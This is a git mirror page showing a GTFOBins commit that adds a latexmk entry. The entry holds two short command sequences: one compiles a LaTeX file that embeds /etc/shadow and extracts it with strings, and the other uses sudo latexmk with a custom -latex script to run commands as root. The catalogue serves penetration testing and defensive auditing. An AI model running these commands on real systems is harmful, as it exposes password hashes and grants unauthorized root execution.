1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Create latexmk.tex

Add latexmk.
This commit is contained in:
SynackCerv 2021-04-22 22:15:40 +02:00 committed by GitHub
parent 2972d25e23
commit ff22bbda93
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

11
_gtfobins/latexmk.tex Normal file

@ -0,0 +1,11 @@
description: `latexmk` is a perl script.
functions:
file-read:
- code: |
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
latexmk read.tex
strings read.dvi
sudo:
- code: |
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
sudo latexmk -latex="/tmp/run.sh" file.tex